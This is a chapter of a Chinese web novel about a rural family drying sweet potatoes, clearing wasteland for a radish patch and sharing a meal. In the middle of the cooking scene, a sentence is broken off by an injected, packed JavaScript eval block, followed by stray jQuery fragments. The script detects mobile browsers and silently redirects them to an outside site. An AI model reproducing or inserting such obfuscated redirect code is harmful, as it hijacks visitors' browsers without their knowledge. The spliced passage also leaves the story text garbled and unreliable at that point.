等赵兰兰下午醒来的时候。


    院子里层层叠叠,摆满了高高低低的竹匾、簸箕、甚至几扇洗净的旧门板。


    上面铺得满满当当的,全是切得薄厚均匀、正在晾晒的红薯片。


    原本饱满水润的红薯,经过一天的暴晒,水分抽离,糖分浓缩,微微卷曲。


    赵兰兰随手从最近的竹匾边缘,拈起一片已经晒得有些韧性的红薯干,放入口中。


    确实甜!


    真的更好吃了!


    小武说,用油炸一下,比肉还好吃呢。


    哪天让阿奶试试!


    她嚼着红薯干,四下张望。


    家里怎么这么安静?


    赵兰兰抓了一把红薯干,先去了王大妮屋里探了探头。


    没见着人。


    又去了堂屋,总觉得空旷了不少,可同样一个人都没见着。


    要是平时,赵兰兰该担心是不是出事了。


    可村里一个人都没有,自家安全的很。


    赵兰兰索性一屁股坐在堂屋的门槛上。


    背靠着门框,面朝着洒满阳光,晾满红薯干的院子,晃着脚,慢悠悠地继续嚼她的红薯干。


    “大侄女,醒啦?”


    赵强扛着大澡盆从堂屋旁边的小道出来,看到赵兰兰,不由地笑了起来。


    他把空了的澡盆放院子里晒着,


    “大家都去后院种萝卜了。我这就去把你爷奶喊回来。”


    “二叔,不用了,我也去看看。”


    赵兰兰连忙起身。


    她隐约感觉到,二叔待她,似乎比以往多了几分客气。


    这让她有些不自在。


    在她的记忆里,二叔从来不是这样的。


    在康弟生病之前,赵兰兰其实很亲近这个二叔。


    他跟村里其他端架子的大人不一样。


    二叔说话嗓门大,喜欢揉乱她的头发,身上还带着一股没散尽的孩子气。


    他会忽然蹲下来,拍拍自己的肩膀,大咧咧地说:


    “大兰子,来!骑大马喽!”


    然后真的驮着她在院子里跑上两圈,颠得她咯咯直乐。


    他会假装跟她抢吃的,最后却从口袋里掏出稀罕的小零嘴儿,让她和赵永康分着吃。


    老赵家的宅基地背靠山脚。


    堂屋后头那块地,是前几年开垦的荒地。


    这时候的人,都不喜欢山上的荒地。


    开荒费力气不说,好不容易把地养肥了,要是别人买了这座山,那地也得归人家。


    把自家的田地侍弄好,比什么都强。


    开点荒地,够种些自家吃的青菜就行。


    赵兰兰有段时间没来地里了,才发现这块地变大了不少。


    甚至还有向外扩张的趋势。


    老赵头领着赵庆和钱树林,还在开荒。


    两个人松土,另一个人把挖出来的石头搬到边上,垒成一条。


    和旁边未开荒的,形成鲜明的界限。


    告诉其他人,这块荒地暂时有主了。


    赵老太领着两个儿媳妇用竹片刨坑。


    赵花挺着孕肚,只能干轻省的活,一个坑,一个坑地放种子。


    然后等几个小的给坑里浇了水。


    赵永康和赵永健两兄弟,就用土把种子埋起来。


    埋菜坑有讲究。


    秋冬季节雨水少,埋起来之后的菜坑,比没挖坑的地方要矮一些。


    之后浇水好辨认不说。


    要是哪天老天爷开恩,下了雨,这些坑里还能集上一些水。


    今天洗红薯用了三大缸水,赵老太心疼得不行。


    用澡盆和缸子把污水盛好。


    看着日头还早,赵老太斥巨资,许诺晚上每人一个煎蛋加两个红薯。


    把全家老小都赶去地里干活。


    赵老太看了看完整悬在天边的太阳,问赵兰兰:


    “怎么不多睡会儿?天还早着呢。”


    “今天得去给瞧病的大夫搬货。路我不熟,怕去晚了耽搁事。”


    “哦,是这事儿啊,”


    赵老太立刻明白了,脸上的神色也郑重起来,


    “那是该早些去,可不能耽误。人家大夫帮了咱大忙,咱们出点力气是应当的。”


    生怕耽误赵兰兰的正事,连忙喊王大妮去做饭。


    这缸里的水见了底,没剩多少了。


    赵永福光着脚,踩着板凳,半个身子栽到缸子里,努力伸长胳膊,才勉强能用水瓢够到缸底那点水花。


    赵兰兰一手抓住赵永福的衣裳,把他从水缸里面提出来,另一只手把水缸放倒,方便小家伙取水:


    “小心些!”


    “阿姐!你醒啦!”


    赵永福双脚一落地,小脸红彤彤,眼睛亮晶晶地看着赵兰兰,迫不及待地分享好消息,


    “阿娘熬了好多红薯糖!”


    “那些糖可好吃了!”


    在旁边排队等着舀水的钱松也凑了过来,舔了舔嘴唇。


    刚浇完手里最后一瓢水的赵永平,也忙不迭地点头,小脸上满是认真的认同:


    “甜!”


    红薯糖?


    “蒸完红薯,锅底积了好厚一层糖浆,两大海碗都装不完,剩下的都给这几只皮猴子分了。”


    王大妮边用手拍灰,边笑着解释,


    “等下给你舀半碗尝尝!”


    特地补充了一句,


    “甜的不能一次吃太多。”


    赵兰兰想到了小西西那口七零八落的牙,深有体会地点了点头,说了声:


    “谢谢阿娘~”


    转头便去找老赵头了:


    “阿爷……”


    王大妮看着赵兰兰的背影,微微怔住。


    她好像知道怎么跟女儿相处了。


    这倔丫头!


    原来跟她一样,吃软不吃硬啊!


    王大妮乐呵呵地哼着小曲去灶房。


    抡起菜刀,利落地将红薯切成小块,混着两碗大米下了锅。


    煮饭的间隙,她坐在烧火凳上,一边照看灶火,一边麻利地把豆角和青菜摘洗干净。


    这些都是挖红薯的老太太送的,赵兰兰留了些给丁春花,其他的都带回来了。


    还拿回来三根腊肠。


    这东西王大妮头一回见。


    细细地切了四五十薄片。


    凑近闻闻,有股淡淡的酒味。


    又用手指沾了一点,放嘴里尝尝,咸味挺足。


    用碗盛好。


    等米饭煮得差不多了,再放进去蒸。


    王大妮撤走明火,剩下些炭火,把腊肠闷熟。


    差不多了,王大妮揭开锅盖,肉香混合着酒香,扑鼻而来。


    赶紧把装腊肠的碗拎出来,放橱柜上,沥出油脂用碗装好。


    再用木桶把红薯米饭全部盛出来。


    木桶是钱树林最近做出来的,大大小小的木桶家里还有十几个。


    用来装饭,洗菜,洗脸,都顺手。


    甚至还做了好几个澡盆,用来装脏水。


    锅底还粘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972920|190097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着些刮不干净的饭粒,不能浪费。


    王大妮往锅里倒了一瓢水,再用锅铲把锅底铲干净。


    等水开的功夫,连忙去添柴火。


    炒菜要大火。


    火候到了,菜才能好吃。


    水烧开后,粘在锅底的米饭随水上下滚动。


    王大妮有拿来一个大碗,把稀饭盛了出来。


    等锅里水汽烘干了,用油布沾一些腊肠油,给锅头刷一圈油润锅。


    再把沥干水的豆角,一股脑地倒进锅里翻炒。


    翻炒得差不多了,再把腊肠倒进去。


    加水焖煮。


    想着把腊肠的盐味煮出来,匀一些给豆角。


    腊肠切得太薄了,王大妮不敢多翻动,怕翻得稀碎。


    到时候夹都夹不到。


    炒完豆角和青菜,王大妮才想起赵老太许诺的煎蛋。


    打开橱柜,里面果然放着好多个鸡蛋。


    一人一个。


    多出来的三个就是给赵兰兰的。


    王大妮狠心的多加了些油。


    然后用小火,耐心地把鸡蛋一个个煎得两面金黄。


    先把大家的夹出来放木桶里。


    剩下赵兰兰的放锅里。


    王大妮接着又往锅里加了水。


    趁着烧水的工夫,她小跑着,去喊赵兰兰吃饭。


    回来时,水刚好滚了。


    王大妮加盐调好味,撒下一大把的挂面。


    一碗专为赵兰兰的鸡蛋挂面就做好了。


    只不过,她没想到的是,赵兰兰不是一个人回来的,身后还带着三个小萝卜头。


    “你们怎么来了?不用干活了?”


    王大妮正拿着小碗,正在给赵兰兰舀红薯糖。


    赵永福两个脚丫子相互搓了搓,把泥巴搓下来留在院子里:


    “只剩下一盆水了。”


    这下王大妮就明白了。


    水不能全部用完,菜地里隔两天就得浇水,不浇水种子就坏掉了。


    可几个孩子正是馋嘴的时候。


    没被他们看见还好,看见了不给吃,王大妮心里也挺难受。


    赵兰兰让王大妮挑出一半面条,让他们三个分着吃。


    王大妮看了看眼巴巴盯着面条的赵永福,狠心道:


    “莫管他们,他们等会有鸡蛋吃。”


    赵永福偷偷把口水吸溜回去,挺起小身板:


    “阿福不馋。”


    说完便一手拉一个,拉着两个流口水的弟弟跑出灶房。


    看不见就不会馋啦!


    可还等他们没到门口。


    赵兰兰就像抱柴火似的,一把将三个全揽了起来。


    “阿娘,给他们分一些吧。”


    赵兰兰看出了王大妮的犹豫,


    “吃完了我再买。”


    “可你要去上工,不吃饱哪里要得?”


    “就分一些给他们尝几口。”


    王大妮看了看三个小的,又看了看赵兰兰,然后连连摆手:


    “不行不行,你阿奶知道非骂我不可。”


    “婶娘,”赵永平插话,“我拿米饭跟大姐姐换行不行?”


    他听赵永健说过好几回面条,心里早就好奇是什么味道了。


    今天吃了不少红薯干,他们现在都不饿,很愿意用红薯饭换面条吃。


    赵永福也跟着比划,手指捏出一点点:


    “阿娘,我们吃一点点,让阿姐把我们的饭饭吃光,这样她就不会饿肚子了。”


    这……